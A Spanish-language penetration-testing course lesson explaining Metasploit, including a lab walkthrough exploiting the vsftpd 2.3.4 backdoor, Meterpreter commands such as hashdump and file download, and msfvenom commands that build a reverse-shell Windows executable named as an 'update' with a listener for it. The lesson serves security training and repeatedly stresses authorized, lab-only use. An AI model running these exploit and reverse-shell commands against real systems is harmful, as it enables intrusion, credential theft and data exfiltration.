Con Kali instalado y un laboratorio aislado donde practicar (07-01), abrimos la primera gran herramienta de su maletín. Durante la auditoría de TechNova S.L. recurrimos a Metasploit varias veces: en el Módulo 4 lo usamos para explotar un servicio de red vulnerable en la 10.10.10.0/24, y en el Módulo 5 su payload Meterpreter nos dio la consola con la que hicimos post-explotación, pivoting y escalada. Lo usamos de pasada, centrados en el método. Ahora toca dominarlo a fondo.

Esta lección desglosa la arquitectura de Metasploit (msfconsole, los tipos de módulo, Meterpreter, msfvenom, la base de datos y los workspaces), su flujo de trabajo canónico —search → use → options → run— aplicado de forma responsable contra el laboratorio de TechNova, el uso de Meterpreter para la post-explotación, y su integración con la base de datos y con Nmap. Como toda herramienta ofensiva, Metasploit solo se usa contra objetivos autorizados o tu propio laboratorio, y con control del impacto: verás por qué check antes de exploit es una costumbre profesional.

Contenido

  1. Qué es Metasploit y sus ediciones
  2. Arquitectura: msfconsole, módulos y base de datos
  3. Tipos de módulo
  4. El flujo de trabajo: search → use → options → run
  5. Ejemplo responsable contra el laboratorio de TechNova
  6. Meterpreter y post-explotación
  7. msfvenom: generación de payloads
  8. Integración con Nmap y la base de datos
  9. Errores Comunes y Consejos
  10. Ejercicios
  11. Conclusión

  1. Qué es Metasploit y sus ediciones

Metasploit Framework es una plataforma de código abierto (Rapid7) para desarrollar, probar y ejecutar exploits. Su gran aporte es la estandarización: cientos de exploits, payloads y módulos auxiliares comparten la misma interfaz, de modo que aprender el flujo una vez te sirve para todos.

Edición Coste Interfaz Uso típico
Framework Gratuita, open source CLI (msfconsole) La que usamos; base de todo
Pro Comercial Web + automatización Equipos, campañas grandes, reporting

En Kali viene preinstalado el Framework. Todo lo de esta lección se hace con msfconsole, la consola interactiva.

  1. Arquitectura: msfconsole, módulos y base de datos

Metasploit se organiza en torno a una consola que carga módulos y se apoya en una base de datos para recordar el trabajo.

flowchart TD
    A[msfconsole - consola interactiva] --> B[Modulos]
    B --> B1[exploit]
    B --> B2[payload]
    B --> B3[auxiliary]
    B --> B4[post]
    B --> B5[encoder / nop]
    A --> C[Base de datos PostgreSQL]
    C --> C1[workspaces: hosts, servicios, credenciales, loot]
    A --> D[msfvenom - generador de payloads standalone]
    B2 --> E[Meterpreter - payload avanzado post-explotacion]
  • msfconsole: la interfaz principal. Desde ella buscas, configuras y lanzas módulos.
  • Base de datos (PostgreSQL): guarda hosts, puertos, servicios, vulnerabilidades y credenciales descubiertas. Los workspaces separan por proyecto (un workspace technova para no mezclar clientes).
  • msfvenom: herramienta aparte para generar payloads independientes (un ejecutable, un script).

Arrancar la base de datos y crear el workspace del engagement:

sudo msfdb init        # inicializa PostgreSQL para Metasploit (una sola vez)
msfconsole             # abre la consola
msf6 > workspace -a technova   # crea y entra en un workspace del proyecto
msf6 > db_status               # confirma que la BBDD esta conectada

Trabajar en un workspace por cliente es una buena práctica de organización que enlaza directamente con la documentación del Módulo 6: todo lo que Metasploit descubre queda registrado y exportable.

  1. Tipos de módulo

Entender los cinco tipos de módulo es entender Metasploit.

Tipo Qué hace Ejemplo
exploit Aprovecha una vulnerabilidad concreta exploit/multi/http/...
payload Código que se ejecuta tras explotar (la "carga") meterpreter/reverse_tcp
auxiliary Tareas sin explotación: escaneo, fuzzing, brute force, DoS auxiliary/scanner/...
post Acciones tras el compromiso (recolección, pivoting) post/multi/gather/...
encoder / nop Codifican/ajustan el payload (evasión, alineación) x86/shikata_ga_nai

Relación clave: un exploit abre la puerta y entrega un payload; el payload más potente es Meterpreter; después usas módulos post. Los auxiliary son navaja suiza y no siempre implican explotar (muchos solo escanean o comprueban).

  1. El flujo de trabajo: search → use → options → run

El flujo canónico de Metasploit tiene siempre la misma forma. Domina estos cinco pasos y sabrás usar cualquier módulo.

  1. search — localizar el módulo adecuado.
  2. use — seleccionarlo.
  3. options / info — ver qué necesita.
  4. set — configurar objetivo, payload y parámetros.
  5. check / run (exploit) — verificar y ejecutar.
msf6 > search vsftpd                     # 1. buscar por servicio/CVE/nombre
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor   # 2. seleccionar
msf6 exploit(...) > options              # 3. ver parametros requeridos
msf6 exploit(...) > set RHOSTS 10.10.10.20   # 4. objetivo AUTORIZADO (mi lab)
msf6 exploit(...) > check                # 5a. verificar SIN explotar (si el modulo lo soporta)
msf6 exploit(...) > exploit              # 5b. lanzar

Los comandos RHOSTS (objetivo remoto), LHOST/LPORT (tu Kali, adonde vuelve la conexión) y payload son los parámetros que más configurarás. info muestra la descripción completa, el CVE y las opciones del módulo.

Uso responsable — check antes de exploit: muchos exploits ofrecen check, que comprueba si el objetivo es vulnerable sin llegar a explotarlo. Es la opción prudente: confirma el diagnóstico con el mínimo impacto, algo esencial en un engagement real donde un exploit puede tumbar un servicio en producción. Primero check; solo si procede y está autorizado, exploit.

  1. Ejemplo responsable contra el laboratorio de TechNova

Reproducimos, contra una VM de nuestro laboratorio que simula un servidor de TechNova, el tipo de explotación de red del Módulo 4. La VM víctima tiene la IP 10.10.10.20 y Kali 10.10.10.5.

msf6 > workspace technova
msf6 > db_nmap -sV 10.10.10.20            # Nmap desde Metasploit; guarda todo en la BBDD
msf6 > search name:vsftpd type:exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 10.10.10.20
msf6 exploit(vsftpd_234_backdoor) > check     # confirmar vulnerabilidad
[+] 10.10.10.20:21 - The target is vulnerable.
msf6 exploit(vsftpd_234_backdoor) > exploit
[*] Command shell session 1 opened

Qué acaba de pasar, paso a paso:

  • db_nmap ejecuta Nmap y vuelca los resultados en la base de datos del workspace: hosts y servicios quedan registrados sin escribir nada a mano.
  • search con filtros (name:, type:) acota entre miles de módulos.
  • check confirma que la VM es vulnerable antes de tocarla.
  • exploit lanza el módulo y abre una sesión.

Todo esto es legal porque 10.10.10.20 es una máquina tuya en la red host-only del laboratorio. Contra un sistema real, harían falta autorización por escrito y control del impacto.

  1. Meterpreter y post-explotación

Meterpreter es el payload estrella de Metasploit: una consola avanzada que vive en memoria del proceso comprometido, cifra su comunicación y ofrece decenas de comandos de post-explotación sin escribir binarios al disco. Es lo que usamos en el Módulo 5.

Para obtenerlo, se elige como payload antes de explotar:

msf6 exploit(...) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 10.10.10.5      # mi Kali: aqui vuelve la sesion
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > exploit
meterpreter >

Comandos habituales de Meterpreter y su función:

Comando Qué hace
sysinfo Información del sistema comprometido
getuid Con qué usuario se ejecuta la sesión
getsystem Intento de escalada a SYSTEM (Windows)
hashdump Vuelca hashes de contraseñas (para John/Hashcat, Mód. 4)
download / upload Exfiltrar/subir ficheros
portfwd / run autoroute Pivoting hacia redes internas (Mód. 5)
background Deja la sesión en segundo plano sin cerrarla

reverse_tcp significa que la víctima se conecta hacia ti (por eso configuras LHOST/LPORT), lo que suele atravesar mejor firewalls de salida que una conexión directa. Con la sesión en background puedes lanzar módulos post o pivotar hacia otras subredes, tal como hicimos en la 10.10.10.0/24.

  1. msfvenom: generación de payloads

msfvenom genera payloads independientes (un .exe, un .elf, un script) para escenarios donde no hay un exploit remoto directo: por ejemplo, un fichero que se entrega en un ejercicio de ingeniería social autorizado. Combina en una sola herramienta la generación y la codificación.

# Payload Meterpreter para Windows, en un ejecutable, que vuelve a mi Kali del lab
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f exe -o /tmp/actualizacion.exe
  • -p selecciona el payload; LHOST/LPORT indican adónde vuelve la sesión.
  • -f exe define el formato de salida; -o el fichero.

Para recibir la sesión que genere ese payload, se levanta un listener con el módulo multi/handler:

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run

Uso responsable: un binario así solo se ejecuta en tu laboratorio o en un ejercicio con alcance autorizado y consentimiento explícito. Fuera de ahí, distribuir un payload es actividad maliciosa. Contrapartida defensiva: los antivirus/EDR detectan payloads de msfvenom sin ofuscar; entender esto ayuda al equipo azul a afinar sus reglas de detección.

  1. Integración con Nmap y la base de datos

La fuerza de Metasploit en un engagement largo es que recuerda. Con la base de datos activa:

msf6 > db_nmap -sV -p- 10.10.10.0/24    # escanea e importa todo al workspace
msf6 > hosts                            # lista los hosts descubiertos
msf6 > services                         # lista puertos/servicios
msf6 > vulns                            # vulnerabilidades asociadas
msf6 > creds                            # credenciales recolectadas
msf6 > loot                             # datos exfiltrados (hashes, ficheros)

También puedes importar un escaneo hecho fuera con db_import escaneo.xml (Nmap con -oX). Toda esa información —hosts, servicios, credenciales, loot— es exactamente la que alimenta la documentación de hallazgos del Módulo 6: exportable, ordenada por workspace y trazable. Metasploit no es solo un lanzador de exploits; es también un cuaderno de campo del engagement.

Errores Comunes y Consejos

  • Lanzar exploit sin check. Un exploit puede tumbar un servicio real. Verifica primero con check y controla el impacto.
  • Confundir LHOST y RHOST. RHOSTS es el objetivo; LHOST es tu Kali (adonde vuelve la sesión). Invertirlos hace que el exploit "no funcione" sin causa aparente.
  • Trabajar sin base de datos ni workspace. Pierdes la trazabilidad y mezclas clientes. Ejecuta msfdb init y crea un workspace por engagement.
  • Payload incompatible con el objetivo. Un payload Windows contra un Linux no abrirá sesión. Ajusta el payload a la plataforma (options/show payloads).
  • Usar msfvenom fuera del laboratorio. Distribuir payloads sin autorización es actividad maliciosa. Restríngelo a tu lab o a un scope firmado.
  • Consejo: usa info y check como reflejo antes de cada exploit. Leer qué hace un módulo y confirmar que el objetivo es vulnerable es la diferencia entre un profesional y quien dispara a ciegas.

Ejercicios

Ejercicio 1. En tu laboratorio tienes una VM víctima en 10.10.10.20 y Kali en 10.10.10.5. Escribe la secuencia completa de msfconsole para: crear un workspace technova, escanear la víctima importando el resultado a la BBDD, buscar un exploit para el servicio vulnerable, verificar que es explotable y, si lo es, lanzarlo. Indica qué parámetros configuras.

Ejercicio 2. Explica la diferencia entre un módulo exploit, uno auxiliary y uno post, y da un ejemplo de cuándo usarías cada uno durante la auditoría de TechNova.

Ejercicio 3. Quieres generar con msfvenom un ejecutable Windows que te devuelva una sesión Meterpreter a tu Kali del laboratorio. Escribe el comando de generación y los comandos para levantar el listener que reciba la sesión. Añade una frase sobre por qué esto solo es legítimo en tu laboratorio.

Soluciones

Solución 1.

msf6 > workspace -a technova
msf6 > db_nmap -sV 10.10.10.20
msf6 > search type:exploit name:<servicio>
msf6 > use exploit/<ruta_del_modulo>
msf6 exploit(...) > set RHOSTS 10.10.10.20
msf6 exploit(...) > check
msf6 exploit(...) > exploit

Configuro RHOSTS con el objetivo autorizado (mi VM). Si el exploit devuelve una shell reversa, también fijaría LHOST 10.10.10.5 y LPORT. db_nmap guarda hosts y servicios en el workspace, y check confirma la vulnerabilidad antes de explotar, controlando el impacto.

Solución 2. Un exploit aprovecha una vulnerabilidad para lograr acceso (p. ej., explotar el servicio de red vulnerable de la VM de TechNova). Un auxiliary hace tareas sin explotar: escanear puertos, fuzzear o probar credenciales (p. ej., un scanner para enumerar servicios). Un post actúa después del compromiso, con una sesión ya abierta: recolectar información, volcar hashes o preparar el pivoting hacia la 10.10.10.0/24. En orden temporal del engagement: primero auxiliary/recon, luego exploit, luego post.

Solución 3.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o /tmp/payload.exe
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run

Solo es legítimo en mi laboratorio (o bajo un scope autorizado por escrito con consentimiento explícito) porque generar y ejecutar un payload que abre una puerta trasera en otro sistema sin permiso es una acción maliciosa e ilegal.

Conclusión

Metasploit es mucho más que un lanzador de exploits: es un framework con una arquitectura coherente —msfconsole, cinco tipos de módulo, Meterpreter, msfvenom y una base de datos con workspaces— que estandariza todo el trabajo ofensivo bajo un mismo flujo: search → use → options → check → run. Vimos ese flujo aplicado de forma responsable contra el laboratorio de TechNova, cómo Meterpreter habilita la post-explotación que hicimos en el Módulo 5, cómo msfvenom genera payloads independientes y cómo la integración con Nmap y la base de datos convierte a Metasploit en el cuaderno de campo del engagement, alimentando directamente el reporte del Módulo 6. Y una costumbre que lo resume todo: check antes de exploit, porque el control del impacto es tan profesional como el éxito del ataque.

Dominado el framework de explotación de red y sistemas, cambiamos de terreno. La tienda tienda.technova.lab era una aplicación web, y para auditarla a fondo hace falta un instrumento distinto: un proxy de interceptación. En la siguiente lección estudiamos el estándar del sector, Burp Suite.

© Copyright 2026. Todos los derechos reservados